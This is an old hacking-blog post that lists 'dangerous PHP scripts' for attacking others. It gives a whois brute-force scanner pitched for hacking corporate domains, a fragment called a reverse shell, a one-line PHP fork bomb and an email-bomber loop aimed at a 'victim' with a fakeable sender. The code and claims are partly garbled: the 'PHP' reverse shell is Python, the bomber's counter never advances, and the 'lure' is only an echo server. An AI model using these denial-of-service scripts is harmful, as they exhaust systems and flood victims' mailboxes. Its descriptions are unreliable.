- Back to Home »
- Brun0L3z 10 Most dangerous PHP Scripts
Posted by : Unknown
Jan 24, 2014
a few Minutes ago I posted on twitter that will be sharing my 10 Most dangerous php script and how to use them. I will not be giving any php tutorials in this post so I am assuming you can atleast read PHP and know how to install it and run it. If you cannot do these, please search google.
1- TWO DOMAIN NAME SCANNER
I have always wanted to hack into corporate domains but the problems is that some two domains (02) fail to give the right info. who will guess that the solution lies in this script? Scan .cm .ng .tr etc domain names with this php code:
define("__USED_CHARS__", "abcdefghijklmnopqrstuvwxyz0123456789");
define("__CASE_SENSITIVE__", true); // Use string above or use uppercase / lowercase variant
$bf = new chargen(2); // new chargen object, length 2
$bf->generate("whois"); // generate chars and call whois function
function whois($str)
{
$domain = $str.".com";
$retval = shell_exec("whois $domain");
if (eregi("no match", $retval))
echo $domain." ist available\n";
else
echo $domain." is unavailable\n";
}
class chargen
{
private $chars = NULL;
private $maxlength = NULL;
protected $buffer = NULL;
function generate($mycallback = false)
{
foreach ($this->buffer as $char)
{
foreach ($this->chars as $nextchar)
{
$retval = $char.$nextchar;
$this->buffer[$retval] = $retval;
if ($mycallback && function_exists($mycallback))
$mycallback($retval);
else
echo $retval."\n";
}
}
if (strlen($retval) == $this->maxlength)
return;
$this->generate($mycallback);
}
function __construct($maxlength = 8)
{
$chars = array();
$this->buffer = array();
array_push($this->buffer, "");
for ($i = 0; $i < strlen(__USED_CHARS__); $i++)
{
$index = substr(__USED_CHARS__, $i, 1);
if (__CASE_SENSITIVE__)
{
$this->chars[$index] = $index;
}
else
{
$this->chars[strtolower($index)] = strtolower($index);
$this->chars[strtoupper($index)] = strtoupper($index);
}
}
$this->maxlength = $maxlength;
}
}
?>
2- Another important thing to get is a reverse shell. we can do this with a simple php command script:
def interact(sock):
command=''
while(command != 'exit'):
command=raw_input('$ ')
sock.send(command + '\n')
time.sleep(.5)
print sock.recv(0x10000)
return
========================================================================
3- PHP FORK BOMB: A fork bomb works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the computer’s operating system. If the process table becomes saturated, no new programs may be started until another terminates. you will be amazed at what this can do (use the php tags to make it work)
while(1) pcntl_fork();
========================================================================
4- FLOODING SMTP WITH PHP EMAIL BOMBER
This php will send 2 Million emails while you seat and watch SpiderMan 3 Its a Dangerous scripts... handle with care:
$mail = 1;do {mail ("Victim E-Mail", "subject of email ", "Message Body", "From Email - Can Be Fake");} while($mail < 50000);?>
=======================================================================-
5- PHP LURE
Make a user think he is communication with just a php and server while you are watching everything
========================================================================
// set some variables
$host = "192.168.1.99";
$port = 1234;
// don't timeout!
set_time_limit(0);
// create socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket\n");
// bind socket to port
$result = socket_bind($socket, $host, $port) or die("Could not bind to
socket\n");
// start listening for connections
$result = socket_listen($socket, 3) or die("Could not set up socket
listener\n");
// accept incoming connections
// spawn another socket to handle communication
$spawn = socket_accept($socket) or die("Could not accept incoming
connection\n");
// read client input
$input = socket_read($spawn, 1024) or die("Could not read input\n");
// clean up input string
$input = trim($input);
// reverse client input and send back
$output = strrev($input) . "\n";
socket_write($spawn, $output, strlen ($output)) or die("Could not write
output\n");
// close sockets
socket_close($spawn);
socket_close($socket);
?>
I hope this helps. The last five will be posted according to user input.
Thanks
Zuo Bruno